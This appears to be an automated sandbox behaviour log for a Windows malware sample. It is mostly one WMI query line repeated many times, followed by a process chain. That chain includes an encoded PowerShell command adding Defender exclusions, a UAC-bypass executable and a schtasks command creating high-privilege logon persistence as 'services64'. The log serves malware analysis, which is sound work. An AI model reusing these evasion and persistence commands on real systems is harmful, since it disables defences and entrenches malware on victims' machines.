              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Windows\System32\conhost.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : Select CommandLine from Win32_Process where Name='explorer.exe'
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeFile read: C:\Users\user\Desktop\desktop.iniJump to behavior
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeKey opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
              Source: GcqJPBLD2Q.exeReversingLabs: Detection: 47%
              Source: unknownProcess created: C:\Users\user\Desktop\GcqJPBLD2Q.exe "C:\Users\user\Desktop\GcqJPBLD2Q.exe"
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGsAawBlACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGkAZgB2ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAGMAcgBxACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAeQBnACMAPgA="
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeProcess created: C:\Users\user\AppData\Local\Temp\Cool.exe "C:\Users\user\AppData\Local\Temp\Cool.exe"
              Source: C:\Users\user\Desktop\GcqJPBLD2Q.exeProcess created: C:\Users\user\AppData\Local\Temp\DccwBypassUAC.exe "C:\Users\user\AppData\Local\Temp\DccwBypassUAC.exe"
              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Users\user\AppData\Local\Temp\Cool.exeProcess created: C:\Windows\System32\conhost.exe "C:\Windows\System32\conhost.exe" "C:\Users\user\AppData\Local\Temp\Cool.exe"
              Source: C:\Windows\System32\conhost.exeProcess created: C:\Windows\System32\cmd.exe "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\user\AppData\Local\Temp\services64.exe"
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\schtasks.exe schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\user\AppData\Local\Temp\services64.exe"
              Source: C:\Windows\System32\conhost.exeProcess created: C:\Windows\System32\cmd.exe "cmd" cmd /c "C:\Users\user\AppData\Local\Temp\services64.exe"
              Source: unknownProcess created: C:\Users\user\AppData\Local\Temp\services64.exe C:\Users\user\AppData\Local\Temp\services64.exe
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Source: C:\Users\user\AppData\Local\Temp\services64.exeProcess created: C:\Windows\System32\conhost.exe "C:\Windows\System32\conhost.exe" "C:\Users\user\AppData\Local\Temp\services64.exe"
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\services64.exe C:\Users\user\AppData\Local\Temp\services64.exe
              Source: C:\Users\user\AppData\Local\Temp\services64.exeProcess created: C:\Windows\System32\conhost.exe "C:\Windows\System32\conhost.exe" "C:\Users\user\AppData\Local\Temp\services64.exe"
              Source: C:\Windows\System32\conhost.exeProcess created: C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exe "C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exe"
              Source: C:\Users\user\AppData\Roaming\Microsoft\Libs\sihost64.exeProcess created: C:\Windows\System32\conhost.exe "C:\Windows\System32\conhost.exe" "/sihost64"
